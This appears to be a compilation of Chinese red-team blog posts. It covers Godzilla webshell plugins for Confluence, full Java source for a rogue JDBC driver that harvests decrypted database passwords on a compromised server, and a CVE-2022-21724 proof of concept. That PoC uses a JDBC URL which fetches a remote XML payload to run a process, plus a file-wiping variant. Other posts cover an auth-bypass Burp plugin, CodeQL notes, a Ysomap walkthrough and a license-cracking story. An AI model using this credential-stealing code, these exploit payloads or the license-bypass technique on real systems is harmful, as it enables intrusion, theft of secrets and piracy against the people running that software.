枚举所有的用户 包括用户名,用户密码,用户手机号,用户IM账号,用户所在地址,用户所在部门,用户主页,用户当前登录失败次数,用户总登录失败次数,用户上次登录失败时间,用户上次登录成功时间,用户所在域,用户是否存活,用户所在组

5. EnumMailServers

枚举所有的邮箱配置 包括邮箱地址,邮箱账号,邮箱密码,socks代理地址

6. EnumAllSpace

枚举该Confluence所有的空间 包括该空间存在哪些文章,文章附件、文章评论数量、文章访问URL、附件下载URL、文件创建人、文章修改人、文章创建时间、文章修改时间等

7. EnumHibernateConfig

枚举Confluence的数据库配置信息

8. SearchPage

在所有的文章搜索指定关键字

如何使用

在https://github.com/BeichenDream/PostConfluence/releases 下载哥斯拉插件Jar包

然后打开哥斯拉 点击配置->点击插件配置->点击添加并选择你下载的Jar包

部分功能演示

MakeToken

EnumHibernateConfig

EnumAllUser

searchPage

项目地址

https://github.com/BeichenDream/PostConfluence

阅读原文

跳转微信打开

结合Spring Cloud Gateway 漏洞实现了一下Netty内存马

结合Spring Cloud Gateway 漏洞实现了一下Netty内存马

参考链接：

https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

示例代码下载链接：

https://github.com/0linlin0/Java/blob/master/NettyMemshell/NettyMemshell.java

阅读原文

跳转微信打开

在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式

引 言

在红队行动中经常会遇到拿到Webshell后找不到数据库密码存放位置或者是数据库密码被加密的情况(需要逆向代码查找解密逻辑)。

在此提出两种在从运行时获取所有的数据库连接信息(密码)的方式

实现效果

实现效果

服务端数据库加密Demo

成功获取到解密后的数据库密码  插件已经集成到哥斯拉https://github.com/BeichenDream/Godzilla/releases/

实现原理

实现原理(一)

第一般不使用数据库连接池情况下 我们通常使用Java的工厂类DriverManager获取数据库连接

DriverManager.getConnection(DB_URL,userName,aes(password));

跟进逻辑

   @CallerSensitive    public static Connection getConnection(String url,String user, String password)              private static Connection getConnection(String url, java.util.Properties info, Class caller)

从getConnection的具体实现逻辑来看 主要是从静态变量registeredDrivers变量遍历所有已经注册的数据库驱动并调用数据库驱动的connect方法获取数据库连接 如果数据库驱动返回NULL或抛出异常则再次循环 如果数据库驱动返回Connection则退出循环返回数据库连接

这个时候我们就可以想到假如我们自己注册一个数据库驱动上去是不是就能获取到数据库密码了

实现代码如下

package sqlDriver;

import java.lang.reflect.Field;import java.lang.reflect.Method;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.DriverPropertyInfo;import java.sql.SQLException;import java.util.Enumeration;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Properties;import java.util.logging.Logger;

public class CustomDriver implements Driver {    private static HashMap dbConnMap=new HashMap();    private static final CustomDriver DRIVER;    static {        DRIVER=new CustomDriver();        try {            Field[] fields=java.sql.DriverManager.class.getDeclaredFields();            Field field=null;            for (int i = 0; i < fields.length; i++) {                field=fields[i];                if (field.getName().indexOf("rivers")!=-1&&List.class.isAssignableFrom(field.getType())) {                    break;                }                field=null;            }            if (field!=null&&List.class.isAssignableFrom(field.getType())) {                field.setAccessible(true);                DriverManager.registerDriver(DRIVER);                List drivers=(List) field.get(null);                int lastIndex=drivers.size()-1;                Object firstObject=drivers.get(0);                Object lastObject=drivers.get(lastIndex);                drivers.set(0, lastObject);                drivers.set(lastIndex, firstObject);            }                   } catch (Exception e) {        }    }       private boolean eq(String url,String properties) {        if (dbConnMap.containsKey(url)) {            String valueProperties=(String) dbConnMap.get(url);            if (valueProperties.indexOf(properties)!=-1) {                return true;            }else {                if (valueProperties.length()>2000) {                    valueProperties="";                }                dbConnMap.put(url, valueProperties+"\t"+properties);                return true;            }        }        return false;    }       private void add(String url, Properties info) {        String propertiesString=info.toString();        try {            if (dbConnMap.size()>200) {                dbConnMap.clear();            }            if (!eq(url, propertiesString)) {                dbConnMap.put(url, propertiesString);            }        } catch (Exception e) {                   }    }       public static String getAllConn() {        Iterator it=dbConnMap.keySet().iterator();        StringBuilder builder=new StringBuilder();        builder.append("drivers->\n");        try {            Field[] fields=java.sql.DriverManager.class.getDeclaredFields();            Field field=null;            for (int i = 0; i < fields.length; i++) {                field=fields[i];                if (field.getName().indexOf("rivers")!=-1&&List.class.isAssignableFrom(field.getType())) {                    break;                }                field=null;            }            if (field!=null) {                field.setAccessible(true);                List drivers=(List) field.get(null);                Iterator iterator=drivers.iterator();                while (iterator.hasNext()) {                    try {                        Object object= iterator.next();                        Driver driver=null;                        if (!Driver.class.isAssignableFrom(object.getClass())) {                            Field[] driverInfos=object.getClass().getDeclaredFields();                            for (int i = 0; i < driverInfos.length; i++) {                                if (Driver.class.isAssignableFrom(driverInfos[i].getType())) {                                    driverInfos[i].setAccessible(true);                                    driver=(Driver) driverInfos[i].get(object);                                    builder.append(String.format("\tclass -> %s\tclassLoader -> %s\n", driver.getClass().getName(),driver.getClass().getClassLoader().toString().replace("\r", "").replace("\n", "")));                                    break;                                }                            }                        }                    } catch (Exception e) {                        // TODO: handle exception                    }                }            }        } catch (Exception e) {            // TODO: handle exception        }        builder.append("maps->\n");        while (it.hasNext()) {            try {                String keyString=(String) it.next();                String properties=(String) dbConnMap.get(keyString);                builder.append(String.format("\t%s\t%s\n", keyString,properties));            } catch (Exception e) {                builder.append(e.getClass().getName());            }        }        dbConnMap.clear();        return builder.toString();    }       public boolean acceptsURL(String url) throws SQLException {        // TODO Auto-generated method stub        return false;    }

    public Connection connect(String url, Properties info) throws SQLException {        add(url, info);        return null;    }

    public int getMajorVersion() {        // TODO Auto-generated method stub        return 0;    }

    public int getMinorVersion() {        // TODO Auto-generated method stub        return 0;    }

    public Logger getParentLogger(){        // TODO Auto-generated method stub        return null;    }

    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {        add(url, info);        return null;    }

    public boolean jdbcCompliant() {        // TODO Auto-generated method stub        return false;    }    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        Field f=null;        if (obj instanceof Field){            f=(Field)obj;        }else {            Method method=null;            Class cs=obj.getClass();            while (cs!=null){                try {                    f=cs.getDeclaredField(fieldName);                    cs=null;                }catch (Exception e){                    cs=cs.getSuperclass();                }            }        }        f.setAccessible(true);        return f.get(obj);    }}

这里需要注意两点

一.  在遍历registeredDrivers时会调用isDriverAllowed方法判断调用者的ClassLoader是否为数据库驱动的ClassLoader父级或者同级  Java为什么这么设计呢 因为获取数据库驱动涉及到了双亲委派相关的知识  这里举例A,B ClassLoader,如果A加载了一个数据库驱动,而B获取到A的加载数据库驱动 会导致在A被GC回收的时候会因为B引用了A导致A不会被释放  所以如果我们想获取当前进程所有的容器的数据库密码 我们需要把我们的驱动加载到系统类上

二. 我们要把我们的数据库驱动放在第一位

很简单是吧 有了这个东东我们不需要再反编译代码去找密钥了

但是这种方法只适用于调用Java官方提供的DriverManager工厂类

实现原理(二)

在上面我们知道数据库驱动都要兼容JDBC的接口也就是要实现Driver接口

第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接

所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类

代码已开源在Github https://github.com/BeichenDream/InjectJDBC

第三方数据库连接池也遵守了JDBC的规则 数据库连接池会调用对于驱动的Driver.connect方法获取数据库连接

所以我们可以使用Java Agent直接去hook所有已经实现了Driver接口的类

代码已开源在Github https://github.com/BeichenDream/InjectJDBC

bingo

输入命令java -jar DatabaseInject.jar list 获取所有正在运行的JVM

找到要注入的进程 这里以tomcat为例(什么都可以注只要是实现了jdbc的接口)

再次刷新网页访问数据库，成功的获取了数据库解密后的密码

阅读原文

跳转微信打开

CVE-2022-21724 PostgreSQL JDBC Driver RCE 分析

当程序中JDBC 连接 URL 可控时，可能会造成安全问题。HITB2021SIN 中的分享议题 "Make JDBC Attacks Brilliant Again" 列举出了H2、IBM DB2、MODEShape、Apache Derby、SQLite等数据库Driver，在Connect URL可控情况下的安全问题。

一、Postgresql CVE-2022-21724

近日披露了CVE-2022-21724，同样是在JDBC Connection URL可控情况下将会出现某些安全问题。

当攻击者控制 jdbc url 或属性时，使用 postgresql 库的系统将受到攻击。pgjdbc 根据通过 `authenticationPluginClassName`、`sslhostnameverifier`、`socketFactory`、`sslfactory`、`sslpasswordcallback` 连接属性提供的类名实例化插件实例。但是，驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

1.复现

Github提供POC如下：

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

可以看到是利用了Spring中的org.springframework.context.support.ClassPathXmlApplicationContext类，这里搭建环境参考Spring Boot Connect to PostgreSQL Database Examples

测试Demo

package com.example.demo;

/** * @auther Skay * @date 2022/2/18 0:18 * @description */import org.springframework.beans.factory.annotation.Autowired;import org.springframework.boot.CommandLineRunner;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.jdbc.core.BeanPropertyRowMapper;import org.springframework.jdbc.core.JdbcTemplate;

import java.sql.Types;import java.util.List;import java.util.Map;

@SpringBootApplicationpublic class SpringJdbcTemplate2PostgreSqlApplication implements CommandLineRunner {

    @Autowired    private JdbcTemplate jdbcTemplate;

    public static void main(String[] args) {        SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class, args);    }

    @Override    public void run(String... args) throws Exception {

        Map Object> map = jdbcTemplate.queryForMap("select * from tb_user WHERE id=?", new Object[]{1});        System.out.println(map.toString());    }

}

application.propertise

spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://192.168.33.179:9999/exp.xmlspring.datasource.username=postgresspring.datasource.password=postgresql

2.分析

简单看一下代码逻辑

org.postgresql.Driver#makeConnection

进入org.postgresql.jdbc.PgConnection类初始化逻辑

——> oorg.postgresql.jdbc.PgConnection#PgConnection

——> org.postgresql.core.ConnectionFactory#openConnection

——> org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl

这里会进入关键方法org.postgresql.core.SocketFactoryFactory#getSocketFactory

有一个if else逻辑，从Properties中获取socketFactoryClassName，如果为空则return默认的javax.net.SocketFactory，否则进入org.postgresql.util.ObjectFactory#instantiate逻辑

进入org.postgresql.util.ObjectFactory#instantiate，会进入newInstance逻辑初始化socketFactory参入传入的org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg类，且初始化参数也可用socketFactoryArg参数指定

最终落地到org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlApplicationContext(java.lang.String)

org.springframework.context.support.ClassPathXmlApplicationContext这条链在JackSon反序列化漏洞中使用过(CVE-2017-17485)

poc.xml 内容为

<beans xmlns="http://www.springframework.org/schema/beans"       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder">        <constructor-arg value="calc.exe" />        <property name="whatever" value="#{ pb.start() }"/>    </bean></beans>

最终复现如下：

3.Other

按照这个思路，我们只需找到符合这样条件的一个类，public构造方法中有且只有一个String参数，会造成一些敏感操作，这样找到了一个java.io.FileOutputStream，可以造成任意文件内容置空

Poc如下：spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?socketFactory=java.io.FileOutputStream=D:\tmp\aaa.txt

4.补丁

https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813 添加了代码逻辑验证该类是否实现了预期的接口

二、参考链接：

https://su18.org/post/jdbc-connection-url-attack/

https://paper.seebug.org/1832/

https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4

阅读原文

跳转微信打开

Bypass Authentication BurpSuit 插件

前言

之前写了一份安全认证绕过相关文档，总结出一些常见的权限绕过poc，再结合一些其他人公开的字典，写了一个自动发包的插件。

PS：对于返回包的检测涉及场景太多，没有检测逻辑，只能说集成了很多poc做一个简单的发包，对于黑盒测试还需要结合一下人工。

POC分类如下：

使用视频：

参考链接：

远海字典

https://github.com/Dheerajmadhukar/4-ZERO-3

源码链接

https://github.com/0linlin0/Java/tree/master/burpdemo

阅读原文

跳转微信打开

2021

​经手了大大小小组件25个，RCE 19个

发表文章自己还看得过去的文章37篇

在知识星球分享40个

捕捉到一只Godzilla🖤

2022

​敬请期待

​

阅读原文

跳转微信打开

Codeql学习的第一周~

一、背景

至于为什么学习Codeql还是因为审计中遇到一个需求，三梦师傅丢出Codeql秀了我一脸，感觉可以花点时间看一看。

二、环境搭建及使用

这里建立在已经知道Codeql是什么的情况下，Codeql基本概念介绍移步这里https://www.4hou.com/posts/yJOW

基本的环境搭建和使用我参考的14yn3师傅的文章：https://www.freebuf.com/articles/web/283795.html

1.安装

CodeQL本身包含两部分解析引擎+SDK。

解析引擎用来解析我们编写的规则，虽然不开源，但是我们可以直接在官网下载二进制文件直接使用。

SDK完全开源，里面包含大部分现成的漏洞规则，我们也可以利用其编写自定义规则。

Codeql-Cli：https://github.com/github/codeql-cli-binaries/releases 下载好后配置环境变量即可

SDK：git clone https://github.com/Semmle/ql 

接下来就是VSCode，大多都是使用VSCode进行规则的开发和调试，插件很好装，直接在插件市场搜索CodeQL 安装即可，安装好后配置codeql引擎路径

2.使用

想要体验Codeql使用大概就分为两步：创建数据库 -> 使用ql对数据库进行查找

之前刚入门的时候写过几个web_demo项目，这下正好试下。

生成数据库有两种方式，当然真正审计项目的时候就是本地生成database。可能是因为当时项目写的不规范产生编译为题导致数据库生成失败

这里偷个懒，直接用lgtm

简单运行一个查询语句可以使用CodeQL: Quick Query，这里简单查询一下所有内容为空的方法

import java

from Method m, BlockStmt blockwhere  block = m.getBody() and  block.getNumStmt() = 0select m

结果如下

如果想要保存自己的语句，可以参考创建ql包，编写qlpack.yml文件即可

https://codeql.github.com/docs/codeql-cli/about-ql-packs/#about-ql-packs

三、学习路线资料

网上公开的学习资料有一些，最近看了很多，这里推荐些自己觉得不错的

官方文档 https://codeql.github.com/docs/codeql-overview/

CodeQL 概述部分大概说明了CodeQL 的工作原理、CodeQL 分析支持的语言和库，以及工具的使用和一些术语。建议大概过一遍。

第二部分大概讲了Codeql-VScode的使用，以及相关配置文件的规范

第三部分就是cli的命令行参数

第四部分编写QL语句，这里推荐看这个教程https://www.4hou.com/posts/o6wX

第五部分是codeql语言参考指南，这里面给处理Codeql针对不同语言下的查询原理及ql编写，我是读了一遍官方文档后，有些地方有点无法理解，比如数据流部分，建议多读几遍，另外这部分还有中文版https://www.cnblogs.com/goodhacker/p/

如果AST的前置不足可以参考下这些（Sumersec师傅说AST学好了，写ql很简单：

https://www.jianshu.com/p/ff8ec920f5b9

https://www.jianshu.com/p/4bd5dc13f35a

https://www.jianshu.com/p/68fcbc154c2f

四、总结

我觉得看完这些差不多就算入门了吧，第一遍看不懂就多看几遍咯，接下来就是多多实践，官方给出了很多示例ql，还有lgmt上公开的很多ql，然后再有一些现成的结合漏洞编写ql的文章，争取每个都仔细看过

阅读原文

跳转微信打开

Ysomap 源码浅析

工具运行如下

一、入口类App

---

1.console.init()

调用Reflections反射库扫描包，初始化了exploits以及payloads，bullets全局变量。exploits以及payloads，bullets为三个Map

ObjectInputFilterManager.setup();

调用jep290反序列化防御机制 配置反序列化白名单 ObjectInputFilter.Config.setSerialFilter。这也是为什么工具需要在较高版本jdk(jep290)上运行原因。

2.console.run()

工具调用jline库提供了一个可交互式shell，run的一开始做了shell的一些初始化工作，通过while(true) 实现REPL (Read-Eval-Print Loop)。

ysomap.cli.Console#dispatch() 方法根据用户输入的命令分发到不同功能

二、Consol与Session类

Session继承于Console，两个类算是ysomap工具核心。

1.Console

Console类代表了整个工具运行时的终端，不仅实现了App入口类的init、run方法，工具运行时终端的任何输入输出不同命令的实现都由这个类来提供。ysomap.cli.Console#dispatch() 方法中的每一个case都对应着Console中的一个方法。具体的方法跟进留在后面功能中具体分析。

Console中的Field

//我的注释 所有可用的的exploit/payload/bulletpublic Map<String, MetaData> exploits;public Map<String, MetaData> payloads;public Map<String, MetaData> bullets;//我的注释 当前活跃sessionprivate Session curSession;//我的注释 当前终端中所有存在sessionprivate Map<String, Session> sessions;//我的注释 用户命令private String command;//我的注释 用户传入命令参数private List<String> args;//我的注释 控制台打印输出的前缀private String prompt;

2.Session

因为工具不同于ysoserial，提供了一个可交的长连接终端，因此引入了Session的概念。当我们使用不同的payload或者exploite时，都会新建一个session，用户可以任意切换session.回到代码角度，一些简单的方法

Field

//当前session的uuidprivate String uuid = UUID.randomUUID().toString();//对应Status类 对应> 前面的数据，选取了相应的payload或者bullet后，会更新>后面关键字public Status status = new Status();public Exploit exploit;public Payload payload;public Bullet bullet;//当前exploit payload 或bullet的配置public Map<String, HashMap<String, Object>> settings = new HashMap<>();private Console console;private boolean isExploit = false;private boolean isEmpty = true;

三、ysomap.core.serializer

首先是ysomap.core.serializer.DefaultSerializer，java ObjectOutputStream的序列化工具类，提供serialize、deserialize方法，提供序列化反序列化功能，OUTPUT 对应了序列化后的二进制数据默认以文件的方式存到工具当前运行目录。

然后时json相关的序列化工具类，通过调用组件自身的序列化以及放序列化方法实现了对Jackson以及FastJson的支持。

工具还支持hessian反序列化数据的生成，和上面一样，也是通过导入hessian.jar 实现此功能。

最后就是xml，支持XStream以及XMLDecode，同上。

ysomap.core.serializer.SerializerFactory 序列化工厂类，用于生产各类序列化器，如FastJson、JackJson等等。

四、Payloads & Bullets Exploit

payload 与 bullets 分开，还是很奈斯

ysomap的存在就是为了解决此类问题，采用模块化的思想，ysomap将具备动态组合利用链和利用效果的能力。对于遇到的不同环境，根据特定的组合来达成实际利用。

为此，我将原本的利用链切分成了两个部分payload和bullet：

payload：指代利用链的前序部分

bullet：指代最终利用链可达成的效果，如命令执行、jndi外链等效果

ysomap.payloads.Payload 接口提供如下方法

提供如下payload

接下来看bullet ysomap.bullets.Bullet，提供了多种利用效果

Exploit

五、一些工具类

---

1.ysomap.core.util *Helper

• ysomap.core.util.CipherHelper  Shiro反序列化漏洞利用时的加密工具类

• ysomap.core.util.ClassFiles  通过javassist，实现动态修改class，根据不同bullet功能，实现序列化数据的构造

• ysomap.core.util.FileHelper 文件内容读取，只有一个getFileContent方法

• ysomap.core.util.HTTPHelper 通过okthhp库可开启http服务，发送get post请求

• ysomap.core.util.PayloadHelper

• ysomap.core.util.ReflectionHelper 反射相关工具类

• ysomap.core.util.SocketHelper socket连接工具类，不过好像没地方用到

2.thirdparty

• echo.SocketEchoPayload 为bullet提供一个小型socket连接shell

• echo.TomcatEchoPayload 为bullet提供tomcat回显实现功能

• loader.RemoteFileLoader 为bullet提供远程jar加载功能

• org.apache.shiro shiro反序列化漏洞攻击相关依赖

六、Other

反序列化攻击时，uid不匹配是个坑，希望作者后期更新可以加上

bullet还可以加上更多的攻击方式 不同框架的回显内存马之类

作者提供的script功能有很大的发挥空间，就拿shiro来说，有时我们不确定那条链能用，可以自己些script来进行初步fuzz

七、参考链接

https://github.com/wh1t3p1g/ysomap

最后作者YYDS Respect

阅读原文

跳转微信打开

本故事纯虚构，如有雷同，纯属巧合

"本故事纯虚构，如有雷同，纯属巧合"

忙活到晚上十点多，好多辛酸

正文

消息框闪烁，是领导丢过来一个exe

“审一下，只要RCE”

打开虚拟机，安装过程很傻瓜，下一步下一步就可，心想审完晚上就可以去吃很久以前了，很可惜，license过期了。按照之前的思路，尝试修改了服务器时间，还是不太行。

还好应用是运行在tomcat之上，tomcat报错日志很完整，可以准确定位到lincense校验逻辑

将jar放到本地idea，反编译后，做了一些混淆操作，看起来不太友好。因为是Tomcat的项目，先配置调试一波，by the way，因为是启动时做的license校验，需要使用LIsten to remote JVM的方式调试，且参数suspend需设置为y

set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010

因为加了一些防反编译的措施，所以正常的调试也遇到了很多问题，行号不对应，断点只能下到方法上，凑活看吧，不过根据类名以及全局搜索License关键字，还是勉强可以定位到check逻辑

首先尝试直接将getLicense 全部清除，直接new 一个新的

太暴力了，Tomcat启动报错，访问哪个页面都是500

然后尝试构造License这个类，这里又遇到了混淆的坑，License类里面套了多个ilililililililll类，这个类不可读，放弃了。

再从头调试，虽然只能端到方法上，但是死盯着debugg框，发现了一组base64数据，解密出来长这个样子，毫无疑问就是那个过期的license解密出来的数据了

这时候我们换个思路，尝试调用加密逻辑伪造license

首先寻找license的源文件，在安装目录的conf下，找到了license.xml 长得样子很像license，里面有签名 有效实现等参数

然后再去代码中查找相关解密函数

我先将断点下到了解密函数中，尝试很多次都停不下来，直接停到解密后的数据

沉思.....将断点下到配置文件加载处，license.xml确实是被加载到jvm中....

只能硬着头皮本地直接调用了

将修改后的lincese.xml放到虚拟机中，还是无效.....陷入僵局.....

只能在从头跟代码了，期间注意到启动时加载了很多配置文件，一个个去翻，皇天不负有心人，翻到一个css文件夹下的文件时，突然兴奋了起来，里面是一串base64编码后的数据

直接解码后正是上述debug中的license，真狗，原来根本没调用加密解密逻辑。不过后面还跟了一串签名校验，此时已经跟了很多代码，代码比较熟悉了，直接就定位到了签名校验处：

注释掉校验逻辑，再改一下license，有效期到2099年，放上去，大功告成!

阅读原文

跳转微信打开